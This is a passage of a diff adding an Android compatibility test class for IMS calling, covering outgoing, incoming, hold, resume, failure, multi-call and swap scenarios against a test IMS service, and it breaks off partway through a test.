+ * CTS tests for ImsCall .
+ */
+@RunWith(AndroidJUnit4.class)
+public class ImsCallingTest {
+
+    private static ImsServiceConnector sServiceConnector;
+
+    private static final String LOG_TAG = "CtsImsCallingTest";
+    private static final String PACKAGE = "android.telephony.ims.cts";
+    private static final String PACKAGE_CTS_DIALER = "android.telephony.cts";
+    private static final String COMMAND_SET_DEFAULT_DIALER = "telecom set-default-dialer ";
+    private static final String COMMAND_GET_DEFAULT_DIALER = "telecom get-default-dialer";
+
+    public static final int WAIT_FOR_SERVICE_TO_UNBOUND = 40000;
+    public static final int WAIT_FOR_CONDITION = 3000;
+    public static final int WAIT_FOR_CALL_STATE = 10000;
+    public static final int WAIT_FOR_CALL_DISCONNECT = 1000;
+    public static final int WAIT_FOR_CALL_CONNECT = 5000;
+    public static final int WAIT_FOR_CALL_STATE_HOLD = 2000;
+    public static final int WAIT_FOR_CALL_STATE_RESUME = 1000;
+    public static final int WAIT_FOR_CALL_STATE_ACTIVE = 15000;
+    public static final int LATCH_WAIT = 0;
+    public static final int LATCH_INCALL_SERVICE_BOUND = 1;
+    public static final int LATCH_INCALL_SERVICE_UNBOUND = 2;
+    public static final int LATCH_IS_ON_CALL_ADDED = 3;
+    public static final int LATCH_IS_ON_CALL_REMOVED = 4;
+    public static final int LATCH_IS_CALL_DIALING = 5;
+    public static final int LATCH_IS_CALL_ACTIVE = 6;
+    public static final int LATCH_IS_CALL_DISCONNECTING = 7;
+    public static final int LATCH_IS_CALL_DISCONNECTED = 8;
+    public static final int LATCH_IS_CALL_RINGING = 9;
+    public static final int LATCH_IS_CALL_HOLDING = 10;
+    public static final int LATCH_MAX = 11;
+
+    private static boolean sIsBound = false;
+    private static int sCounter = 5553639;
+    private static int sTestSlot = 0;
+    private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+    private static long sPreviousOptInStatus = 0;
+    private static long sPreviousEn4GMode = 0;
+    private static String sPreviousDefaultDialer;
+
+    private static CarrierConfigReceiver sReceiver;
+    private static SubscriptionManager sSubcriptionManager;
+
+    private int mParticipantCount = 0;
+    private final Object mLock = new Object();
+    private InCallServiceCallbacks mServiceCallBack;
+    private Context mContext;
+    private ConcurrentHashMap<String, Call> mCalls = new ConcurrentHashMap<String, Call>();
+    private String mCurrentCallId = null;
+    private Call mCall1 = null;
+    private Call mCall2 = null;
+    private TestImsCallSessionImpl mCallSession1 = null;
+    private TestImsCallSessionImpl mCallSession2 = null;
+
+    private static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
+    static {
+        for (int i = 0; i < LATCH_MAX; i++) {
+            sLatches[i] = new CountDownLatch(1);
+        }
+    }
+
+    public boolean callingTestLatchCountdown(int latchIndex, int waitMs) {
+        boolean complete = false;
+        try {
+            CountDownLatch latch;
+            synchronized (mLock) {
+                latch = sLatches[latchIndex];
+            }
+            complete = latch.await(waitMs, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+             //complete == false
+        }
+        synchronized (mLock) {
+            sLatches[latchIndex] = new CountDownLatch(1);
+        }
+        return complete;
+    }
+
+    public void countDownLatch(int latchIndex) {
+        synchronized (mLock) {
+            sLatches[latchIndex].countDown();
+        }
+    }
+
+    private abstract static class BaseReceiver extends BroadcastReceiver {
+        protected CountDownLatch mLatch = new CountDownLatch(1);
+
+        void clearQueue() {
+            mLatch = new CountDownLatch(1);
+        }
+
+        void waitForChanged() throws Exception {
+            mLatch.await(5000, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    private static class CarrierConfigReceiver extends BaseReceiver {
+        private final int mSubId;
+
+        CarrierConfigReceiver(int subId) {
+            mSubId = subId;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                int subId = intent.getIntExtra(CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX, -1);
+                if (mSubId == subId) {
+                    mLatch.countDown();
+                }
+            }
+        }
+    }
+
+    public interface Condition {
+        Object expected();
+        Object actual();
+    }
+
+    void sleep(long ms) {
+        try {
+            Thread.sleep(ms);
+        } catch (Exception e) {
+            Log.d(LOG_TAG, "InterruptedException");
+        }
+    }
+
+    void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
+            String description) {
+        final long start = System.currentTimeMillis();
+        while (!Objects.equals(condition.expected(), condition.actual())
+                && System.currentTimeMillis() - start < timeout) {
+            sleep(50);
+        }
+        assertEquals(description, condition.expected(), condition.actual());
+    }
+
+    @BeforeClass
+    public static void beforeAllTests() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        TelephonyManager tm = (TelephonyManager) getContext()
+                .getSystemService(Context.TELEPHONY_SERVICE);
+        sTestSub = ImsUtils.getPreferredActiveSubId();
+        sTestSlot = SubscriptionManager.getSlotIndex(sTestSub);
+        if (tm.getSimState(sTestSlot) != TelephonyManager.SIM_STATE_READY) {
+            return;
+        }
+
+        sServiceConnector = new ImsServiceConnector(InstrumentationRegistry.getInstrumentation());
+        // Remove all live ImsServices until after these tests are done
+        sServiceConnector.clearAllActiveImsServices(sTestSlot);
+
+        sReceiver = new CarrierConfigReceiver(sTestSub);
+        IntentFilter filter = new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+        // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
+        InstrumentationRegistry.getInstrumentation().getContext()
+                .registerReceiver(sReceiver, filter);
+
+        UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            ui.adoptShellPermissionIdentity();
+            // Get the default dialer and save it to restore after test ends.
+            sPreviousDefaultDialer = getDefaultDialer(InstrumentationRegistry.getInstrumentation());
+            // Set dialer as "android.telephony.cts"
+            setDefaultDialer(InstrumentationRegistry.getInstrumentation(), PACKAGE_CTS_DIALER);
+
+            sSubcriptionManager = InstrumentationRegistry.getInstrumentation()
+                    .getContext().getSystemService(SubscriptionManager.class);
+            // Get the default Subscription values and save it to restore after test ends.
+            sPreviousOptInStatus = sSubcriptionManager.getLongSubscriptionProperty(sTestSub,
+                        SubscriptionManager.VOIMS_OPT_IN_STATUS, 0, getContext());
+            sPreviousEn4GMode = sSubcriptionManager.getLongSubscriptionProperty(sTestSub,
+                        SubscriptionManager.ENHANCED_4G_MODE_ENABLED, 0, getContext());
+            // Set the new Sunbscription values
+            sSubcriptionManager.setSubscriptionProperty(sTestSub,
+                    SubscriptionManager.VOIMS_OPT_IN_STATUS, String.valueOf(1));
+            sSubcriptionManager.setSubscriptionProperty(sTestSub,
+                    SubscriptionManager.ENHANCED_4G_MODE_ENABLED, String.valueOf(1));
+
+            //Override the carrier configurartions
+            CarrierConfigManager configurationManager = InstrumentationRegistry.getInstrumentation()
+                    .getContext().getSystemService(CarrierConfigManager.class);
+            PersistableBundle bundle = new PersistableBundle(1);
+            bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_AVAILABLE_BOOL, true);
+            bundle.putBoolean(CarrierConfigManager.KEY_ENHANCED_4G_LTE_ON_BY_DEFAULT_BOOL, true);
+            bundle.putBoolean(CarrierConfigManager.KEY_EDITABLE_ENHANCED_4G_LTE_BOOL, false);
+            bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_TTY_SUPPORTED_BOOL, true);
+            bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_IMS_GBA_REQUIRED_BOOL , false);
+
+            sReceiver.clearQueue();
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(configurationManager,
+                    (m) -> m.overrideConfig(sTestSub, bundle));
+        } finally {
+            ui.dropShellPermissionIdentity();
+        }
+        sReceiver.waitForChanged();
+    }
+
+    @AfterClass
+    public static void afterAllTests() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            ui.adoptShellPermissionIdentity();
+            // Set the default Sunbscription values.
+            sSubcriptionManager.setSubscriptionProperty(sTestSub,
+                    SubscriptionManager.VOIMS_OPT_IN_STATUS, String.valueOf(sPreviousOptInStatus));
+            sSubcriptionManager.setSubscriptionProperty(sTestSub,
+                    SubscriptionManager.ENHANCED_4G_MODE_ENABLED, String.valueOf(
+                    sPreviousEn4GMode));
+            // Set default dialer
+            setDefaultDialer(InstrumentationRegistry.getInstrumentation(), sPreviousDefaultDialer);
+
+            // Restore all ImsService configurations that existed before the test.
+            if (sServiceConnector != null && sIsBound) {
+                sServiceConnector.disconnectServices();
+                sIsBound = false;
+            }
+            sServiceConnector = null;
+            overrideCarrierConfig(null);
+
+            if (sReceiver != null) {
+                InstrumentationRegistry.getInstrumentation().getContext()
+                        .unregisterReceiver(sReceiver);
+                sReceiver = null;
+            }
+        } finally {
+            ui.dropShellPermissionIdentity();
+        }
+    }
+
+    @Before
+    public void beforeTest() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        TelephonyManager tm = (TelephonyManager) InstrumentationRegistry.getInstrumentation()
+                .getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        if (tm.getSimState(sTestSlot) != TelephonyManager.SIM_STATE_READY) {
+            fail("This test requires that there is a SIM in the device!");
+        }
+        // Correctness check: ensure that the subscription hasn't changed between tests.
+        int[] subs = SubscriptionManager.getSubId(sTestSlot);
+
+        if (subs == null) {
+            fail("This test requires there is an active subscription in slot " + sTestSlot);
+        }
+        boolean isFound = false;
+        for (int sub : subs) {
+            isFound |= (sTestSub == sub);
+        }
+        if (!isFound) {
+            fail("Invalid state found: the test subscription in slot " + sTestSlot + " changed "
+                    + "during this test.");
+        }
+    }
+
+    public void bindImsService() throws Exception  {
+        // Connect to the ImsService with the MmTel feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .build()));
+        sIsBound = true;
+        // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL);
+        assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+                sServiceConnector.getCarrierService().getMmTelFeature());
+
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_MMTEL_CAP_SET);
+
+        MmTelFeature.MmTelCapabilities capabilities = new MmTelFeature.MmTelCapabilities(
+                MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE);
+        // Set Registered and VoLTE capable
+        sServiceConnector.getCarrierService().getImsService().getRegistrationForSubscription(
+                sTestSlot, sTestSub).onRegistered(ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+        sServiceConnector.getCarrierService().getMmTelFeature().setCapabilities(capabilities);
+        sServiceConnector.getCarrierService().getMmTelFeature()
+                .notifyCapabilitiesStatusChanged(capabilities);
+
+        // Wait a second for the notifyCapabilitiesStatusChanged indication to be processed on the
+        // main telephony thread - currently no better way of knowing that telephony has processed
+        // this command. SmsManager#isImsSmsSupported() is @hide and must be updated to use new API.
+        Thread.sleep(3000);
+    }
+
+    @After
+    public void afterTest() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        if (!mCalls.isEmpty() && (mCurrentCallId != null)) {
+            Call call = mCalls.get(mCurrentCallId);
+            call.disconnect();
+        }
+
+        //Set the untracked CountDownLatches which are reseted in ServiceCallBack
+        for (int i = 0; i < LATCH_MAX; i++) {
+            sLatches[i] = new CountDownLatch(1);
+        }
+
+        if (sServiceConnector != null && sIsBound) {
+            sServiceConnector.disconnectCarrierImsService();
+            sIsBound = false;
+        }
+    }
+
+    @Test
+    public void testOutGoingCall() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        bindImsService();
+        mServiceCallBack = new ServiceCallBack();
+        InCallServiceStateValidator.setCallbacks(mServiceCallBack);
+
+        TelecomManager telecomManager = (TelecomManager) InstrumentationRegistry
+                .getInstrumentation().getContext().getSystemService(Context.TELECOM_SERVICE);
+
+        final Uri imsUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, String.valueOf(++sCounter), null);
+        Bundle extras = new Bundle();
+
+        // Place outgoing call
+        telecomManager.placeCall(imsUri, extras);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_ADDED, WAIT_FOR_CALL_STATE));
+
+        Call call = getCall(mCurrentCallId);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DIALING, WAIT_FOR_CALL_STATE));
+
+        TestImsCallSessionImpl callSession = sServiceConnector.getCarrierService().getMmTelFeature()
+                .getImsCallsession();
+
+        isCallActive(call, callSession);
+
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_DISCONNECT);
+        call.disconnect();
+
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(call, callSession);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+        waitForUnboundService();
+    }
+
+    @Test
+    public void testOutGoingCallStartFailed() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        bindImsService();
+        mServiceCallBack = new ServiceCallBack();
+        InCallServiceStateValidator.setCallbacks(mServiceCallBack);
+
+        TelecomManager telecomManager = (TelecomManager) InstrumentationRegistry
+                .getInstrumentation().getContext().getSystemService(Context.TELECOM_SERVICE);
+
+        final Uri imsUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, String.valueOf(++sCounter), null);
+        Bundle extras = new Bundle();
+
+        // Place outgoing call
+        telecomManager.placeCall(imsUri, extras);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_ADDED, WAIT_FOR_CALL_STATE));
+
+        Call call = getCall(mCurrentCallId);
+
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        TestMmTelFeature mmtelfeatue = sServiceConnector.getCarrierService()
+                                .getMmTelFeature();
+                        return (mmtelfeatue.isCallSessionCreated()) ? true : false;
+                    }
+                }, WAIT_FOR_CONDITION, "CallSession Created");
+
+        TestImsCallSessionImpl callSession = sServiceConnector.getCarrierService().getMmTelFeature()
+                .getImsCallsession();
+        assertNotNull("Unable to get callSession, its null", callSession);
+        callSession.addTestType(TestImsCallSessionImpl.TEST_TYPE_MO_FAILED);
+
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DIALING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(call, callSession);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+        waitForUnboundService();
+    }
+
+    @Test
+    public void testIncomingCall() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        bindImsService();
+        mServiceCallBack = new ServiceCallBack();
+        InCallServiceStateValidator.setCallbacks(mServiceCallBack);
+
+        Bundle extras = new Bundle();
+        sServiceConnector.getCarrierService().getMmTelFeature().onIncomingCallReceived(extras);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_ADDED, WAIT_FOR_CALL_STATE));
+
+        Call call = getCall(mCurrentCallId);
+        if (call.getDetails().getState() == call.STATE_RINGING) {
+            callingTestLatchCountdown(LATCH_WAIT, 5000);
+            call.answer(0);
+        }
+
+        TestImsCallSessionImpl callSession = sServiceConnector.getCarrierService().getMmTelFeature()
+                .getImsCallsession();
+
+        isCallActive(call, callSession);
+
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_DISCONNECT);
+        callSession.terminateIncomingCall();
+
+        isCallDisconnected(call, callSession);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+        waitForUnboundService();
+    }
+
+    @Test
+    public void testOutGoingCallForExecutor() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        sServiceConnector.setExecutorTestType(true);
+        bindImsService();
+
+        mServiceCallBack = new ServiceCallBack();
+        InCallServiceStateValidator.setCallbacks(mServiceCallBack);
+
+        TelecomManager telecomManager = (TelecomManager) InstrumentationRegistry
+                .getInstrumentation().getContext().getSystemService(Context.TELECOM_SERVICE);
+
+        final Uri imsUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, String.valueOf(++sCounter), null);
+        Bundle extras = new Bundle();
+
+        // Place outgoing call
+        telecomManager.placeCall(imsUri, extras);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_ADDED, WAIT_FOR_CALL_STATE));
+
+        Call call = getCall(mCurrentCallId);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DIALING, WAIT_FOR_CALL_STATE));
+
+        TestImsCallSessionImpl callSession = sServiceConnector.getCarrierService().getMmTelFeature()
+                .getImsCallsession();
+
+        isCallActive(call, callSession);
+
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_DISCONNECT);
+        call.disconnect();
+
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(call, callSession);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+        waitForUnboundService();
+    }
+
+    @Test
+    public void testOutGoingCallHoldResume() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        bindImsService();
+        mServiceCallBack = new ServiceCallBack();
+        InCallServiceStateValidator.setCallbacks(mServiceCallBack);
+
+        TelecomManager telecomManager = (TelecomManager) InstrumentationRegistry
+                .getInstrumentation().getContext().getSystemService(Context.TELECOM_SERVICE);
+
+        final Uri imsUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, String.valueOf(++sCounter), null);
+        Bundle extras = new Bundle();
+
+        // Place outgoing call
+        telecomManager.placeCall(imsUri, extras);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_ADDED, WAIT_FOR_CALL_STATE));
+
+        Call call = getCall(mCurrentCallId);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DIALING, WAIT_FOR_CALL_STATE));
+
+        TestImsCallSessionImpl callSession = sServiceConnector.getCarrierService().getMmTelFeature()
+                .getImsCallsession();
+
+        isCallActive(call, callSession);
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_STATE_HOLD);
+        // Put on hold
+        call.hold();
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_HOLDING, WAIT_FOR_CALL_STATE));
+
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_STATE_RESUME);
+        // Put on resume
+        call.unhold();
+        isCallActive(call, callSession);
+
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_DISCONNECT);
+        call.disconnect();
+
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(call, callSession);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+        waitForUnboundService();
+    }
+
+    @Test
+    public void testOutGoingCallHoldFailure() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        bindImsService();
+        mServiceCallBack = new ServiceCallBack();
+        InCallServiceStateValidator.setCallbacks(mServiceCallBack);
+
+        TelecomManager telecomManager = (TelecomManager) InstrumentationRegistry
+                .getInstrumentation().getContext().getSystemService(Context.TELECOM_SERVICE);
+
+        final Uri imsUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, String.valueOf(++sCounter), null);
+        Bundle extras = new Bundle();
+
+        // Place outgoing call
+        telecomManager.placeCall(imsUri, extras);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_ADDED, WAIT_FOR_CALL_STATE));
+
+        Call call = getCall(mCurrentCallId);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DIALING, WAIT_FOR_CALL_STATE));
+
+        TestImsCallSessionImpl callSession = sServiceConnector.getCarrierService().getMmTelFeature()
+                .getImsCallsession();
+
+        isCallActive(call, callSession);
+        callSession.addTestType(TestImsCallSessionImpl.TEST_TYPE_HOLD_FAILED);
+
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_STATE_HOLD);
+        call.hold();
+        assertTrue("call is not in Active State", (call.getDetails().getState()
+                == call.STATE_ACTIVE));
+
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_DISCONNECT);
+        call.disconnect();
+
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(call, callSession);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+        waitForUnboundService();
+    }
+
+
+    @Test
+    public void testOutGoingCallResumeFailure() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        bindImsService();
+        mServiceCallBack = new ServiceCallBack();
+        InCallServiceStateValidator.setCallbacks(mServiceCallBack);
+
+        TelecomManager telecomManager = (TelecomManager) InstrumentationRegistry
+                .getInstrumentation().getContext().getSystemService(Context.TELECOM_SERVICE);
+
+        final Uri imsUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, String.valueOf(++sCounter), null);
+        Bundle extras = new Bundle();
+
+        // Place outgoing call
+        telecomManager.placeCall(imsUri, extras);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_ADDED, WAIT_FOR_CALL_STATE));
+
+        Call call = getCall(mCurrentCallId);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DIALING, WAIT_FOR_CALL_STATE));
+
+        TestImsCallSessionImpl callSession = sServiceConnector.getCarrierService().getMmTelFeature()
+                .getImsCallsession();
+
+        isCallActive(call, callSession);
+
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_STATE_HOLD);
+        // Put on hold
+        call.hold();
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_HOLDING, WAIT_FOR_CALL_STATE));
+
+        callSession.addTestType(TestImsCallSessionImpl.TEST_TYPE_RESUME_FAILED);
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_STATE_RESUME);
+        call.unhold();
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_STATE);
+        assertTrue("Call is not in Hold State", (call.getDetails().getState()
+                == call.STATE_HOLDING));
+
+
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_DISCONNECT);
+        call.disconnect();
+
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(call, callSession);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+        waitForUnboundService();
+    }
+
+    @Test
+    public void testOutGoingIncomingMultiCall() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        bindImsService();
+        mServiceCallBack = new ServiceCallBack();
+        InCallServiceStateValidator.setCallbacks(mServiceCallBack);
+
+        TelecomManager telecomManager = (TelecomManager) InstrumentationRegistry
+                .getInstrumentation().getContext().getSystemService(Context.TELECOM_SERVICE);
+
+        final Uri imsUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, String.valueOf(++sCounter), null);
+        Bundle extras = new Bundle();
+
+        // Place outgoing call
+        telecomManager.placeCall(imsUri, extras);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_ADDED, WAIT_FOR_CALL_STATE));
+
+        Call moCall = getCall(mCurrentCallId);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DIALING, WAIT_FOR_CALL_STATE));
+
+        TestImsCallSessionImpl moCallSession = sServiceConnector.getCarrierService()
+                .getMmTelFeature().getImsCallsession();
+        isCallActive(moCall, moCallSession);
+        assertTrue("Call is not in Active State", (moCall.getDetails().getState()
+                == Call.STATE_ACTIVE));
+
+        extras.putBoolean("android.telephony.ims.feature.extra.IS_USSD", false);
+        extras.putBoolean("android.telephony.ims.feature.extra.IS_UNKNOWN_CALL", false);
+        extras.putString("android:imsCallID",  String.valueOf(++sCounter));
+        extras.putLong("android:phone_id", 123456);
+        sServiceConnector.getCarrierService().getMmTelFeature().onIncomingCallReceived(extras);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_ADDED, WAIT_FOR_CALL_STATE));
+
+        Call mtCall = null;
+        if (mCurrentCallId != null) {
+            mtCall = getCall(mCurrentCallId);
+            if (mtCall.getDetails().getState() == Call.STATE_RINGING) {
+                callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_CONNECT);
+                mtCall.answer(0);
+            }
+        }
+
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_HOLDING, WAIT_FOR_CALL_STATE));
+        TestImsCallSessionImpl mtCallSession = sServiceConnector.getCarrierService()
+                .getMmTelFeature().getImsCallsession();
+        isCallActive(mtCall, mtCallSession);
+        assertTrue("Call is not in Active State", (mtCall.getDetails().getState()
+                == Call.STATE_ACTIVE));
+
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_DISCONNECT);
+        mtCall.disconnect();
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(mtCall, mtCallSession);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+
+        isCallActive(moCall, moCallSession);
+        assertTrue("Call is not in Active State", (moCall.getDetails().getState()
+                == Call.STATE_ACTIVE));
+
+        moCall.disconnect();
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(moCall, moCallSession);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+
+        waitForUnboundService();
+    }
+
+    @Test
+    public void testOutGoingCallSwap() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        bindImsService();
+        mServiceCallBack = new ServiceCallBack();
+        InCallServiceStateValidator.setCallbacks(mServiceCallBack);
+        addOutgoingCalls();
+
+        // Swap the call
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_STATE_RESUME);
+        mCall1.unhold();
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_HOLDING, WAIT_FOR_CALL_STATE));
+        assertTrue("Call is not in Hold State", (mCall2.getDetails().getState()
+                == Call.STATE_HOLDING));
+        isCallActive(mCall1, mCallSession1);
+
+        // After successful call swap disconnect the call
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_DISCONNECT);
+        mCall1.disconnect();
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(mCall1, mCallSession1);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+
+        //Wait till second call is in active state
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return (mCall2.getDetails().getState() == Call.STATE_ACTIVE)
+                                ? true : false;
+                    }
+                }, WAIT_FOR_CALL_STATE_ACTIVE, "Call in Active State");
+
+        isCallActive(mCall2, mCallSession2);
+        mCall2.disconnect();
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(mCall2, mCallSession2);
+        assertTrue(callingTestLatchCountdown(LATCH_IS_ON_CALL_REMOVED, WAIT_FOR_CALL_STATE));
+
+        resetCallSessionObjects();
+        waitForUnboundService();
+    }
+
+    @Test
+    public void testOutGoingCallSwapFail() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        bindImsService();
+        mServiceCallBack = new ServiceCallBack();
+        InCallServiceStateValidator.setCallbacks(mServiceCallBack);
+        addOutgoingCalls();
+
+        mCallSession1.addTestType(TestImsCallSessionImpl.TEST_TYPE_RESUME_FAILED);
+        // Swap the call
+        callingTestLatchCountdown(LATCH_WAIT, WAIT_FOR_CALL_STATE_RESUME);
+        mCall1.unhold();
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_HOLDING, WAIT_FOR_CALL_STATE));
+        assertTrue("Call is not in Hold State", (mCall1.getDetails().getState()
+                == Call.STATE_HOLDING));
+
+        // Wait till second call is in active state
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return (mCall2.getDetails().getState() == Call.STATE_ACTIVE)
+                                ? true : false;
+                    }
+                }, WAIT_FOR_CALL_STATE_ACTIVE, "Call in Active State");
+
+        isCallActive(mCall2, mCallSession2);
+        mCallSession1.removeTestType(TestImsCallSessionImpl.TEST_TYPE_RESUME_FAILED);
+        mCall2.disconnect();
+        assertTrue(callingTestLatchCountdown(LATCH_IS_CALL_DISCONNECTING, WAIT_FOR_CALL_STATE));
+        isCallDisconnected(mCall2, mCallSession2);
